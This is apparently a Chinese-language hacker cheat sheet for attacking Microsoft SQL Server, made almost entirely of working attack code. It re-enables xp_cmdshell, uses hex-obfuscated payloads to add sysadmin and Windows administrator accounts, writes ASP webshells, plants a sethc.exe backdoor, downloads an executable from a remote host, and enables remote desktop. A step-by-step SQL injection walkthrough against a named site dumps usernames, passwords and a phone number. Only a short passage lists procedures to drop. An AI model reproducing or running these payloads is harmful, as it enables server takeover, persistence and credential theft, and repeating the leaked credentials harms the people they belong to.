right(@filename,1)<>'\' set @filename=@filename+'\' set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U''' exec(@m_tbname) open #tb fetch next from #tb into @m_tbname while @@fetch_status=0 begin set @sql='bcp '+@tbname+'..'+@m_tbname +case when @isout=1 then ' out ' else ' in ' end +' "'+@filename+@m_tbname+'.txt " /w' +' /S '+@servername +case when isnull(@username,'')='' then '' else ' /U '+@username end +' /P '+isnull(@password,'') exec master..xp_cmdshell @sql fetch next from #tb into @m_tbname end close #tb deallocate #tb end go /************* oracle **************/ EXEC sp_addlinkedserver 'OracleSvr', 'Oracle 7.3', 'MSDAORA', 'ORCLDB' GO delete from openquery(mailser,'select * from yulin') select * from openquery(mailser,'select * from yulin') update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888 insert into openquery(mailser,'select disorder,catago from yulin')values(333,777) 補充: 對於用bcp導出,是沒有字段名的. 用openrowset導出,須要事先建好表. 用openrowset導入,除ACCESS及EXCEL外,均不支持非本機數據導入
SQL存儲過程sql
sql2005恢復xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 關閉:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 零、 -- 添加SA用戶-- 1、exec master.dbo.sp_addlogin system; 2、exec master.dbo.sp_addlogin system,system; 3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin 防注入 sa:itpro pass:itpro declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 防注入 sa:system pass:system declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 1、 -恢復存儲過程- use master exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_dropextendedproc "xp_cmdshell" exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' exec sp_dropextendedproc 'xp_cmdshell' exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 恢復cmdshell防注入 declare @a varchar(255),@b varchar(255),@c varchar(255); set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63; set @b=0x78705F636D647368656C6C; set @c=0x78706C6F6737302E646C6C; exec @a @b,@c 2、 --恢復sp_addextendedproc存儲過程-- create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 3、 --使用存儲過程加管理方法-- 1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add' 2、EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add' 4、 -- 導出文件的存儲過程 -- DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 5、 -- 讀取文件的存儲過程 -- declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 6、 -----寫一句話木馬----- declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<%execute(request("a"))%>' ' ' 單引號爲要寫的內容 <%25 if request("x")<>"" then execute(request("x"))%25> 防注入寫入法 declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255); set @c=0x6D61737465722E2E73705F6F61637265617465; set @d=0x6D61737465722E2E73705F6F616D6574686F64; set @e=0x536372697074696E672E46696C6573797374656D4F626A656374; set @f=0x4372656174655465787446696C65; set @g=0x433A5C496E65747075625C73797374656D2E617370; set @h=0x74727565; set @i=0x7772697465; set @j=0x3C256576616C20726571756573742822582229253E; exec @c @e,@a output; exec @d @a,@f,@b output,@g,@h; exec @d @b,@i,null,@j 7、 -----寫一句話木馬----- declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1 在上面同樣;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';-- 8、 ---SA沙盒模式提權----- 一、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- 二、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")'); 9、 -----另類SA提權----- 二、declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 一、declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; DECLARE @o int DECLARE @z int EXEC sp_OACreate 'Shell.Users',@o OUT EXEC sp_OAMethod @o, 'Create', @z OUT, 'test' EXEC sp_OASetProperty @z, 'setting', 3 , 'AccountType' EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', '' 10、 --導出註冊表-- 一、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)-- 二、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port' 11、 ---下載程序----- 一、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[[url=http://192.168.1.6:800/wwwroot.rar]連接標記http://192.168.1.6:800/wwwroot.rar[/url]],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1 12、 -Log備份WebShell- alter database master set RECOVERY FULL create table cmd (a image)-- backup log master to disk = 'c:\cmd' with init insert into cmd (a) values ('<%eval(request("a")):response.end%>')-- backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'-- drop table cmd-- 2\ use mir alter database mir set RECOVERY FULL -- create table cmd8 (a image)-- backup log mir to disk = 'c:\cmd8' with init -- insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')-- backup log mir to disk = 'c:\backup.asp'-- drop table cmd8-- alter database mir set RECOVERY SIMPLE -- 3\ create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])-- declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate-- insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)-- select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate-- Drop/**/table/**/[shit_tmp]-- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十3、 ------------------------------- --建立sp_readtextfile存儲過程-- ------------------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Create proc sp_readTextFile @filename sysname as begin set nocount on Create table #tempfile (line varchar(8000)) exec ('bulk insert #tempfile from "' + @filename + '"') select * from #tempfile drop table #tempfile End go xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十4、開3389 =================================================================== declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b =================================================================== 我記得2003的web目錄是寫在C:\WINDOWS\system32\inetsrv\MetaBase.xml ----------------- ---讀取文件內容-- ----------------- exec sp_readTextFile 'c:\boot.ini' xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe' ----------------------- ---清除MsSql日誌------- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ---------------------- --停掉或激活某個服務-- ---------------------- exec master..xp_servicecontrol 'stop','sharedaccess' exec master..xp_servicecontrol 'start','sharedaccess' -------------------- --列出驅動器的名稱-- -------------------- EXEC [master].[dbo].[xp_availablemedia] ---------------------------------- --列出指定目錄的全部下一級子目錄-- ---------------------------------- EXEC [master].[dbo].[xp_subdirs] 'c:\windows' ------------------------------ --列出當前錯誤日誌的具體內容-- ------------------------------ EXEC [master].[dbo].[xp_readerrorlog] ---------------------- --列出當前計算機名稱-- ---------------------- execute master..xp_getnetname -------------------------------- -列出當前計算機的驅動器可用空間- -------------------------------- execute master..xp_fixeddrives ======================== ==列出服務器全部本地組== ======================== execute master..xp_enumgroups ====================== ==獲取MS SQL的版本號== ====================== execute master..sp_msgetversion ========================================= ==參數說明:目錄名,目錄深度,是否顯示文件== ========================================= execute master..xp_dirtree 'c:' execute master..xp_dirtree 'c:',1 execute master..xp_dirtree 'c:',1,1 ========================================= ==列出服務器上安裝的全部OLEDB提供的程序== ========================================= execute master..xp_enum_oledb_providers ========================= ==列出服務器上配置的DNS== ========================= execute master..xp_enumdsn 刪除存儲過程 drop PROCEDURE sp_addextendedproc ----------------------- --刪除sql危險存儲過程-- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx DROP PROCEDURE sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree exec master..sp_dropextendedproc xp_fileexist exec master..sp_dropextendedproc xp_terminate_process exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate exec master..sp_dropextendedproc xp_regaddmultistring exec master..sp_dropextendedproc xp_regdeletekey exec master..sp_dropextendedproc xp_regdeletevalue exec master..sp_dropextendedproc xp_regenumkeys exec master..sp_dropextendedproc xp_regenumvalues exec master..sp_dropextendedproc sp_add_job exec master..sp_dropextendedproc sp_addtask exec master..sp_dropextendedproc xp_regread exec master..sp_dropextendedproc xp_regwrite exec master..sp_dropextendedproc xp_readwebtask exec master..sp_dropextendedproc xp_makewebtask exec master..sp_dropextendedproc xp_regremovemultistring exec master..sp_dropextendedproc sp_OACreate DROP PROCEDURE sp_addextendedproc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xp_cmdshell新的恢復辦法 擴展儲存過程被刪除之後能夠有很簡單的辦法恢復: 刪除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢復 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 這樣能夠直接恢復,不用去管sp_addextendedproc是否是存在 刪除擴展存儲過過程xp_cmdshell的語句: exec sp_dropextendedproc 'xp_cmdshell' 恢復cmdshell的sql語句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 開啓cmdshell的sql語句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判斷存儲擴展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回結果爲1就ok 恢復xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回結果爲1就ok 不然上傳xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql語句 sp_dropextendedproc "xp_cmdshell 讀3389端口 regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 而後 type port.reg | find "PortNumber" sql 語句 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); -- 開啓2003的終端(sa) xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0' exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
SQL構造having語句暴字段shell
1、得到創建用戶的表的名字和字段的名字;使用select語法的having子句。 ''having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_id'' 在選擇列表中無效,由於該列未包含在聚合函數中,而且沒有 GROUP BY 子句。 /football/reguser/check.asp,行26 成果:知道了表的名字reguser和第一個字段的名字reguser.reg_id。 2、經過字段放到group by子句找到字段名。 1、 ''group by reguser.reg_id having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_name'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_name字段 2、 ''group by reguser.reg_id,reguser.reg_name having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_password'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_password字段 3、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_relname'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_relname字段 4、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_regtime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_regtime字段 5、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_findme'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_findme字段 6、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_city'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_city字段 7、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_qq'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_qq字段 8、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_icq'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_icq字段 9、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_msn'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_msn字段 10、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_phone'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_phone字段 11、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_class'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_class字段 12、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_money'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_money字段 13、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_regip'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_regip字段 14、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_Estar'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_Estar字段 15、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_Eend'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_Eend字段 16、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_changeuser'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_changeuser字段 17、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_changetime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_changetime字段 18 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_logintime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_logintime字段 19 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 列 ''reguser.reg_online'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:獲得了reguser.reg_online字段 20 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1-- 返回結果: 出現信息提示框;你還不是會員請註冊 到這裏一個表猜完。 3、肯定列的類型。經過使用類型轉化來實現:利用了SQLSERVER在肯定兩個結果集的字段是否相等前應用sum子句。 1、 ''union select sum(reguser.reg_name) from reguser-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e07'' sum or average aggregate 運算不能以 varchar 數據類型做爲參數。 /football/reguser/check.asp,行26 成果:reguser.reg_name字段是數據類型varchar。 2、 ''union select sum(reguser.reg_id) from reguser-- 返回結果: Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14'' 包含 UNION 運算符的 SQL 語句中的全部查詢都必須在目標列表中具備相同數目的表達式。 /football/reguser/check.asp,行26 4、insert查詢: '';insert into reguser values(666,''attacker'',''foobar'')-- 5、 ''union select from reguser where reguser.reg_name=''admin''-- '';select from reguser where reguser.reg_name=''admin''-- '';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- ''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- 6、從reguser表中讀取用戶名: ''union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''a''-- 這句選擇users表中username大於''a''中的最小值,並試圖把它轉化成一個整型數字: 收集密碼: ''union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''admin''-- ''union select password,1,1,1 from users where username=''admin''-- 13535701998 建立了一個foo表,裏面只有一個單獨的列''ret'',裏面存放着獲得的用戶名和密碼的字符串 '';begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+reguser.reg_name+''/''+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end-- ''union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo-- Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e07'' 將 varchar 值 '': 383838/989898 123456/234567 korea007/154085 風681168/13535701998 kyo327/woaini denglong/247986965'' 轉換爲數據類型爲 int 的列時發生語法錯誤。 /football/reguser/check.asp,行26 '';drop table foo-- admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''-- =-= 加賬號 =-= '';Exec master..xp_cmdshell ''net user''-- '';Exec master..xp_cmdshell ''net user jiaoniang$ 1866574 /add''-- '';Exec master..xp_cmdshell ''net localGroup Administrators jiaoniang$ /add''-- '';exec master..sp_addlogin jiaoniang$,1866574-- '';exec master..sp_addsrvrolemember jiaoniang$,sysadmin-- '';exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''-- =-= 開服務 =-= '';Exec master..xp_cmdshell ''net stat telnet''-- '';Exec master..xp_cmdshell ''net stat server''-- =-= 開3389 =-= '';Exec master..xp_cmdshell "echo [Components] > c:\1866574"-- //在c盤根目錄建寫入一個文件 '';Exec master..xp_cmdshell "echo TsEnable = on >> c:\1866574"-- //追加寫入 '';Exec master..xp_cmdshell "sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q"-- //開3389,成功的話過會肉機會重啓!!
sysobjects表無select權限時暴表數據庫
